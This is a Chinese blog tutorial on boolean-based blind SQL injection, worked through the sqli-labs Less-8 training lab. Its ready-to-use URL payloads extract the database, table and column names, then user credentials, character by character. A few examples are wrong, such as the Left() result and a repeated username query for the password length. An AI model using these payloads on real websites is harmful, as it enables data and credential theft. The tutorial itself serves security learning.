web安全入门之SQL注入-布尔型盲注

SQL注入之布尔型盲注

1.布尔型盲注

布尔型盲注应用于无数据回显,且WEB页面无报错信息的情况,此时不能通过报错型注入的方法来爆出数据,布尔型盲注的WEB页面只有两种回显结果,正确的页面以及错误的页面,且错误的页面无报错提示语句正确的页面不能输出数据

在这里插入图片描述

2.函数

盲注,其注入就是通过函数的执行结果来猜测数据

Length()函数

其功能为返回字符串的长度
比如length(abc)返回3

Sunstr()函数

其功能为截取字符串
substr(abc,1,1):含义为从abc的第一位开始取数,步长为1,结果显示a

Mid()函数

其功能为取出字符串的一部分值
Mid(abc,1,1):从abc的第一位开始取数,步长为1,与substr()函数用法一致,结果显示为a

Left()函数

其功能为取出字符串左边的几个数据
Left(abc,1):返回a
Left(abc,2):返回bc

Ord()与ASCII()函数

其功能为返回一个字符的ASCII码值
ASCII(s):返回115

Hex()函数

其功能为返回该数的十六进制形式

Less-8

在Less-8和Less-9中我们就用到布尔型盲注来爆出数据

1.求其闭合方式

关键SQL注入语句
/?id=1’ and 1=1 --+
/?id=1’ and 1=2 --+
测的其结果为’'单引号闭合
在这里插入图片描述

2.二分法求列数

此时求列数时,当我们数据进入的排序数错误时,回显结果为空,正确时显示正确页面结果

关键SQL注入语句:
/?id=1’ order by 10 --+
/?id=1’ order by 5 --+
/?id=1’ order by 3 --+
/?id=1’ order by 4 --+

其结果显示为3列

在这里插入图片描述

3.求其数据库名

此时就要用到函数来一步步猜其数据库名

(1).猜其数据库名的长度

用到的函数为length(),同样使用二分法来猜其库名的长度

关键SQL注入语句:
/?id=1’ and length(database())>10 --+
/?id=1’ and length(database())>5 --+
/?id=1’ and length(database())>7 --+
/?id=1’ and length(database())>8 --+

得出其库名的长度为8
在这里插入图片描述

(2).猜库名

此时我们需要用到mid()函数来截取库名字母,通过ord()函数得出其ASCII编码,再对照ASCII编码表来查询字母

ASCII编码中65-90为大写字母A-Z97-122为小写字母a-z

关键SQL注入语句:

首字母查询
/?id=1’ and ord(mid(database(),1,1))>90 --+ //判断字母的大小写,在ASCII编码中>90的为小写字母
/?id=1’ and ord(mid(database(),1,1))>110 --+
/?id=1’ and ord(mid(database(),1,1))>120 --+
/?id=1’ and ord(mid(database(),1,1))>115 --+
/?id=1’ and ord(mid(database(),1,1))>114 --+

得到其库名首字母为"s(小写)"
在这里插入图片描述
第二个字母:
关键SQL注入语句:
/?id=1’ and ord(mid(database(),2,1))>90
/?id=1’ and ord(mid(database(),2,1))>110
/?id=1’ and ord(mid(database(),2,1))>100
/?id=1’ and ord(mid(database(),2,1))>101
可得第二个字母为"e"

之后的6个字母都用相同的方法来查询,最后我们可得到其库名为"security"

4.查其表名

在猜其表名时,应该借助程序来查询,因为人为查询过程及其繁琐,且一个数据库中有多张表

其原理同查询库名一样,我们在此可以查询第一个表名首字母作为范例

1.第一张表(为范例,之后的表同样的方法)
(1)第一张表长度查询

关键SQL注入语句:
?id=1’ and length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))>5 --+

?id=1’ and length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))>6 --+

得第一张表的表名长度为6

在这里插入图片描述

(2)第一张表首字母查询

关键SQL注入语句:

/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>90 //判断第一个表的表名首字母大小写

/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)>110

/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>100

/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>101

得到ASCII编码10进制数为101,查表可得该字符为"e"
在这里插入图片描述

第一张表第二个字母查询:

关键SQL注入语句:

/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),2,1))>108

第二个字母ASCII编码十进制数为108,查表可得其结果为"m"

之后的4个字母通过控制mid()函数的参数可以查出结果,可得第一张表名为"emails"

之后的几张表通过修改limit 0,1控制输出可以查出结果,可得第二张表名为"referers",第三张表名为"uagents",第四张表名为"users"

5.查其列名

与表一样,一张表里可能有多个列,人为查询相当繁琐,建议通过程序来执行查询

1.第二列

在此处,只以第二列为例

(1).求其users表中的第二列的长度

关键SQL注入语句:
/?id=1’ and length((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1))>7 --+

/?id=1’ and length((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1))>8 --+

求得users表中,第二列长度为8
在这里插入图片描述

(2).求其users表中第二列的首字母

关键SQL注入语句:
/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>90 //判断第一个表的表名首字母大小写
/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>110

/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>120

/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>115

/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>116

/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>117

可得出第二列首字母ACSII编码十进制数为117查表可得首字母为"u"
在这里插入图片描述
剩下7个字母,通过修改mid()函数参数来实现,最终可得出第二列列名为"username"

之后的几列通过修改limit 0,1控制输出可以查出结果,可得第一列列名为"id",第三列列名为"password"

6.查数据

已知库名,表名,及其列名,可以查出表中的数据

(1).其username列中第一行数据的长度

关键SQL注入语句:
/?id=1’ and length((select username from security.users limit 0,1))>3
/?id=1’ and length((select username from security.users limit 0,1))>4

可得出列中第一行数据的长度为4

在这里插入图片描述

(2).查username列中第一行数据的首字母

关键SQL注入语句:
/?id=1’ and ord(mid((select username from security.users limit 0,1),1,1))>90 --+ //判断其第一行首字母的大小写
/?id=1’ and ord(mid((select username from security.users limit 0,1),1,1))>65 --+
/?id=1’ and ord(mid((select username from security.users limit 0,1),1,1))>67 --+
/?id=1’ and ord(mid((select username from security.users limit 0,1),1,1))>68 --+

在这里插入图片描述

得到列中第一行首字母ASCII编码十进制为68,查表可得首字母为"D"

通过mid()函数参数控制可得,该行数据为Dumb
通过limit 0,1控制可得,其他行的数据

(3).查password列中第一行数据的长度

关键SQL注入语句:
/?id=1’ and length((select username from security.users limit 0,1))>3
/?id=1’ and length((select username from security.users limit 0,1))>4

可得password列第一行数据长度为4
在这里插入图片描述

(4).查password列第一行数据的首字母

关键SQL注入语句:
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>90 --+ //判断其第一行首字母的大小写
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>65 --+
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>70 --+
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>67 --+
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>68 --+

在这里插入图片描述

可得password列第一行首字母ASCII码值为68,查表可得首字母为**“D”**

通过mid()函数参数控制可得,该行数据为Dumb
通过limit 0,1控制可得,其他行的数据

由此可以的出第一个用户的数据用户名username:Dumb 密码:password:Dumb

用同样的方法可求出其他用户名和密码

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值